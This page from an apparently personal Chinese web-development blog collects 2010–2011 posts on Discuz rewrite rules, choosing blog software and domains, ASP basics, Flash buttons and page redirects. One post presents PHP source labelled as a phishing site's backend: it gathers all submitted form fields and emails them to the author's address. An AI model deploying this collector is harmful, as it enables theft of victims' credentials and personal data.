日志分类:网站技术

DZ1.5X伪静态规则(非官方)

分类:网站技术日期:2011-04-09 - 15:33:39评论:11条作者:老谢

在后台使用官网提供的规则不能用 无法实现伪静态

下面规则 本人实测可用

# 将 RewriteEngine 模式打开
RewriteEngine On
 
# 修改以下语句中的 /discuz 为你的论坛目录地址,如果程序放在根目录中,请将 /discuz 修改为 /
RewriteBase /
 
# Rewrite 系统规则请勿修改
RewriteRule ^topic-(.+)\.html$ portal.php?mod=topic&topic=$1
RewriteRule ^article-([0-9]+)-([0-9]+)\.html$ portal.php?mod=view&aid=$1&page=$2
RewriteRule ^forum-([0-9]+)-([0-9]+)\.html$ forum.php?mod=forumdisplay&fid=$1&page=$2&%1page=$2
RewriteRule ^thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ forum.php?mod=viewthread&tid=$1&extra=page\%3D$3&page=$2
RewriteRule ^group-([0-9]+)-([0-9]+)\.html$ forum.php?mod=group&fid=$1&page=$2
RewriteRule ^space-(username|uid)-(.+)\.html$ home.php?mod=space&$1=$2
RewriteRule ^([a-z]+)-(.+)\.html$ $1.php?rewrite=$2

独立博客系列教程之<二> 域名的选择

分类:网站技术日期:2011-04-06 - 21:42:00评论:11条作者:老谢

     在本系列教程的第一篇独立博客系列教程之<一> 博客程序的选择已经说了,独立博客需要域名和主机的支持,所以我们这第二篇文章就来讲域名的选择

域名是什么

      所谓域名,最简单的说就是网站的网址(URL),域名是为了方便人们访问服务器而推出的一种机制,比如老谢博客域名为:www.xj123.info ,可是实际该域名是指向IP为69.175.4.118的服务器,在数据传递的世界里面,不存在域名,只有IP,IP就是一台服务器的名字,他们互相之间只认识IP,要想传递数据,必须使用IP地址。

      有朋友会问了,既然数据传递只认识IP地址,那么我打开各种网站直接输入网址就可以,不用输入难记的服务器ip地址呢?这个就是域名的初衷,为了不让人类不去记忆复杂的IP地址。域名的世界存在一种服务器,它的名字叫DNS服务器,它的作用就是把域名翻译成ip地址,比如www.xj123.info这个域名,我想让它指向8.8.8.8这个IP地址,我就可以在DNS服务器里面添加一条记录,告诉服务器www.xj123.info他对应的IP地址是8.8.8.8,这样访问www.xj123.info的时候电脑首先会咨询DNS服务器,然后DNS服务器会回复说它的IP地址是8.8.8.8,这样电脑就可以和服务器进行通信了,翻译的过程可以成为解析。

我该如何选择域名呢

     一般域名以网站的名字或者主题命名,域名的后缀通过网站的类型进行选择,比如个人博客多用.me或者.name的域名 商业网站一般都是.com 具体的后缀意义 大家可以看看下面的进行参考

.com:商业机构,任何人都可以注册;
.edu:教育机构;
.gov:政府部门;
.int:国际组织;
.mil:美国军事部门;
.net:网络组织,例如因特网服务商和维修商,现在任何人都可以注册;
.org:非盈利组织,任何人都可以注册;
.biz:商业;
.info:网络信息服务组织;
.pro:用于会计、律师和医生。;
.name:用于个人;
.museum:用于博物馆;
.coop:用于商业合作团体;
.aero:用于航空工业;
.xxx:用于成人、色情网站;
.idv:用于个人

域名注册商的选择

     首先要说明一下,域名在天朝存在备案的问题,比如谢竟甲的博客在刚建博的时候也备案了,由于一切原因,撤销了备案。

     究竟什么是备案呢,网站备案是根据国家法律法规需要网站的所有者向国家有关部门申请的备案,现在主要有ICP备案和公安局备案 (如果使用国内的空间 强制性备案 下文我们会讲主机的选择

     .CN的域名是强制性备案的,所以一般不去考虑,备案需要一定的等待时间,而且需要提交一些资料,比如个人证件照和生活照,填写一些表格等,可以理解为在天朝留下案底,一旦出现什么问题,公安叔叔就可以去敲你家的门了 我们独立博客的圈子里面一般很少有人备案 使用的空间一般都是在国外。
     

     万网 国内最大的域名注册机构 域名和空间的价格偏高 贵族们的消费 一般找代理买的话价格只要1/5

     新网 国内优质IT基础服务运营商,向超过100万家企事业单位提供域名注册 国内域名商里面比较火

     35互联 同样是国内使用人数较多的域名注册商 价格也不低

     godaddy 全球最大的域名提供商 推荐注册 因为没有中文站 不熟悉英语的朋友 可以搜索购买教程 各种域名的价格很便宜 而且还有优惠码 大家可以搜索相关优惠码来获取优惠 支持支付宝付款

     老薛主机 优质的博客主机提供商,域名的价格也很低,常见的.com/.NET/.ORG等域名只需要60元,并且赠送whoiS保护。

写在最后:建议大家在不要在国内购买域名,你可能会因此有很多的麻烦

独立博客系列教程之<一> 博客程序的选择

分类:网站技术日期:2011-04-06 - 19:30:07评论:10条作者:老谢

     玩独立博客也有一年的时间了,从最初的z-blog到现在的wordpress,期间换过好几个博客程序,好多朋友问我如何做一个独立博客,一两句话也说不清楚,所以就有了写系列教程的想法,这篇文章是第一篇,简单介绍下几大博客程序。

     在说博客程序之前,先说说什么是独立博客

即是在域名、空间、内容上独立自主的博客,它与免费博客相比,更自由、更灵活、更强大、更有价值。也是一种综合性的平台

详细介绍推荐大家看看百科:http://baike.baidu.com/view/1479014.htm

下面,我们简单的一一介绍下主流的博客程序

WordPress

     WordPress一款基于PHP的、以MySQL为数据库支持全球使用用户最多的博客程序,老谢博客就是使用wordpress(以下简称WP)搭建的独立博客,WordPress 是一个功能非常强大的博客系统,插件众多,易于扩充功能。安装和使用都非常方便,版本更新的也比较快,因为用户多,有问题交流起来也比较方便 

Typecho

基于PHP5开发,支持多种数据库,是一款内核强健、扩展方便、体验友好、运行流畅的轻量级开源博客程序。选用Typecho,搭建独一无二个人网络日志发布平台,享受创作的快乐。

Typecho是由type和echo两个词合成的,来自于开发团队的头脑风暴。

Type,有打字的意思,博客这个东西,正是一个让我们通过打字,在网络上表达自己的平台。Echo,意思是回声、反馈、共鸣,也是PHP里最常见、最重要的函数,相信大部分PHP爱好者都是从 echo ‘Hello,world!’; 开始自己的PHP编程之路的。

名称就表明Typecho是一款博客程序,它在GPL Version 2许可证下发行,基于PHP(需要PHP5以上版本)构建,可以运行在各种平台上,支持多种数据库(Mysql,PostgreSQL,SQLite)。

(很多朋友不喜欢wp的繁多功能,而选择了typecho,wp可以平滑转移到typecho上)

Bo-Blog

    Bo-Blog,也是一款基于PHP的、以MySQL为数据库支持的免费blog程序。 是Bo-Blog开发团队推出的一套单用户blog(网络日志)系统,用户可以在基本不需要任何编程基础上,通过简单的安装设置,搭建起具备完善功能和高度可定制性的网络日志。

emlog

emlog 是 "Every Memory Log" 的简称,意即:点滴记忆。它是一款基于PHP语言和MySQL数据库的开源、免费、功能强大的个人或多人联合撰写的博客系统(blog)。致力于提供快速、稳定,且在使用上又极其简单、舒适的博客服务。用户可以在支持PHP语言 和MySQL数据库的服务器上建立自己的Blog。emlog的功能非常强大,模板、插件众多,易于扩充功能,简洁而不简单。安装和使用都非常方便。目前 emlog 正在受到越来越多的广大用户的青睐。

Z-Blog

    Z-Blog,是一款小巧而强大的基于Asp平台的Blog程序。

PJBLOG

PJBlog是由舜子(陈子舜,英文名字PuterJam,PJblog就是以他英文名字缩写命名的,他本人就职于腾讯公司QZONE开发组)所开发的一套开源免费的中文个人博客系统程序,采用asp+Access的技术,PJBlog同时支持简繁中文,UTF-8编码,相对于其他系统,PJBlog 具有相当高的运作效能以及更新率,也支持目前Blog所使用的新技术。

钓鱼站源码

分类:网站技术日期:2011-02-24 - 14:57:05评论:3条作者:老谢

love.xj123.info

仅供学习使用 请勿用于其他用途

功能很简单 源码如下:

<!--?php</p-->
 
error_reporting(E_ALL ^ E_NOTICE);
 
$my_email = "i@xj123.info";
 
$from_email = "zhaoyong@live.cn";
 
$continue = "/";
 
$errors = array();
 
if(count($_COOKIE)){foreach(array_keys($_COOKIE) as $value){unset($_REQUEST[$value]);}}
 
if(isset($_REQUEST['email']) &amp;&amp; !empty($_REQUEST['email']))
{
 
$_REQUEST['email'] = trim($_REQUEST['email']);
 
if(substr_count($_REQUEST['email'],"@") != 1 || stristr($_REQUEST['email']," ") || stristr($_REQUEST['email'],"\\") || stristr($_REQUEST['email'],":")){$errors[] = "Email address is invalid";}else{$exploded_email = explode("@",$_REQUEST['email']);if(empty($exploded_email[0]) || strlen($exploded_email[0]) &gt; 64 || empty($exploded_email[1])){$errors[] = "Email address is invalid";}else{if(substr_count($exploded_email[1],".") == 0){$errors[] = "Email address is invalid";}else{$exploded_domain = explode(".",$exploded_email[1]);if(in_array("",$exploded_domain)){$errors[] = "Email address is invalid";}else{foreach($exploded_domain as $value){if(strlen($value) &gt; 63 || !preg_match('/^[a-z0-9-]+$/i',$value)){$errors[] = "Email address is invalid"; break;}}}}}}
 
}
 
if(!(isset($_SERVER['HTTP_REFERER']) &amp;&amp; !empty($_SERVER['HTTP_REFERER']) &amp;&amp; stristr($_SERVER['HTTP_REFERER'],$_SERVER['HTTP_HOST']))){$errors[] = "You must enable referrer logging to use the form";}
 
// Check for a blank form.
 
function recursive_array_check_blank($element_value)
{
 
global $set;
 
if(!is_array($element_value)){if(!empty($element_value)){$set = 1;}}
else
{
 
foreach($element_value as $value){if($set){break;} recursive_array_check_blank($value);}
 
}
 
}
 
recursive_array_check_blank($_REQUEST);
 
if(!$set){$errors[] = "You cannot send a blank form";}
 
unset($set);
 
// Display any errors and exit if errors exist.
 
if(count($errors)){foreach($errors as $value){print "$value";} exit;}
 
if(!defined("PHP_EOL")){define("PHP_EOL", strtoupper(substr(PHP_OS,0,3) == "WIN") ? "\r\n" : "\n");}
 
// Build message.
 
function build_message($request_input){if(!isset($message_output)){$message_output ="";}if(!is_array($request_input)){$message_output = $request_input;}else{foreach($request_input as $key =&gt; $value){if(!empty($value)){if(!is_numeric($key)){$message_output .= str_replace("_"," ",ucfirst($key)).": ".build_message($value).PHP_EOL.PHP_EOL;}else{$message_output .= build_message($value).", ";}}}}return rtrim($message_output,", ");}
 
$message = build_message($_REQUEST);
 
$message = $message . PHP_EOL.PHP_EOL."--".PHP_EOL."this mail from www.jcboy.info";
 
$message = stripslashes($message);
 
$subject = "FormToEmail Comments";
 
$subject = stripslashes($subject);
 
if($from_email)
{
 
$headers = "From: " . $from_email;
$headers .= PHP_EOL;
$headers .= "Reply-To: " . $_REQUEST['email'];
 
}
else
{
 
$from_name = "";
 
if(isset($_REQUEST['name']) &amp;&amp; !empty($_REQUEST['name'])){$from_name = stripslashes($_REQUEST['name']);}
 
$headers = "From: {$from_name} &lt;{$_REQUEST['email']}&gt;";
 
}
 
mail($my_email,$subject,$message,$headers);
 
?&gt;
 
 
 
 
 
 
 
 
 
 

hello asp

分类:网站技术日期:2011-02-23 - 22:28:40评论:3条作者:老谢

开始接触asp

我的hello asp。

<html>
<body>
<!--这些是ASP脚本-->
<%
Dim hw
hw="hello asp"      
response.write("hello asp")
%>
<br>
这些是HTML语言脚本
<br>
再次发出<%=Hw%>
</body>
</html>

把国内的一个小php空间换成了asp折腾 没送sql 不过能运行asp 还够折腾

http://nworou.vip6.zzhidc.com/index.asp

Tags:

Directory Listing Denied解决方案

分类:网站技术日期:2011-02-22 - 8:29:26评论:2条作者:老谢

如果访问网站出现提示:
Directory Listing Denied
This Virtual Directory does not allow contents to be listed.

出现这个提示是指没有在您指定的目录找到默认首页,比如您直接输入域名访问空 间, 但是出现以上提示,那么请检查在www目录下是否有 index.htm,index.html,index.asp,default.asp,
default.htm等默认首页。

虚拟主机开通后默认自动生成下面几个默认首页,依次分别为

index.asp,index.aspx,default.asp,deault.aspx,index.htm等等,您的首页必须是以上默认首页之一。这样才能自动找到该文件。

腾讯微博api平台

分类:网站技术日期:2011-01-05 - 21:27:13评论:3条作者:老谢

地址:http://open.t.qq.com/

微博转发功能

很多朋友看到我的站点有了微博转发功能 都来询问我是如何做的

下面就会告诉大家 腾讯已经悄悄开放了api平台

因为是测试版 应用比较少

一键转播功能需要申请api_key 发送邮件至:api_weibo@tencent.com 即可申请

格式如下:

1. 网站名称:我爱素材网

2. 应用场景简述:

嵌入一键转播到你的网站里,访客便能将网页信息直接传播至腾讯微博。分享资讯的同时,用户通过来源链接可进入你的网站,从而提升访问流量。

3. 域名:www.52sc.info

4. 需要显示的来源字段:我爱素材网

至于其他的应用 直接获取代码就可以用了 我们也不再需要第三方的api了

css结构模型 新手必看

分类:网站技术日期:2010-12-31 - 9:02:24评论:2条作者:老谢

 

W3CBOX

有助于刚刚学习的朋友理解css的结构

Tags:

给flash添加播放与重播按钮

分类:网站技术日期:2010-12-07 - 18:51:19评论:6条作者:老谢

首先随便做一个动画..

然后按ctrl+F8创建一个新元件

元件类型选择按钮

创建一个按钮,比如“play”

然后返回场景,新建一个层,把按钮放进去

然后新建一个重播按钮 步骤如上

按钮

图层

然后给图层1的第一帧和最后一帧设置动作

在时间轴里面设置stop

添加stop

进入图层2

给play设置动作,设置为play

replay添加动作gotoAndPlay

图层2操作

on(release)
{
gotoAndPlay(2);
}

 

完成效果

完成效果..

常见网页跳转方法

分类:网站技术日期:2010-12-03 - 11:58:22评论:5条作者:老谢

首先是js跳转

<script>window.location.href='http://www.xj123.info';</script>

用php跳转

<?php header("location:http://www.xj123.info")?>

最后一个利用head的meta跳转

<META HTTP-EQUIV=REFRESH CONTENT="0;URL=http://www.linux.org">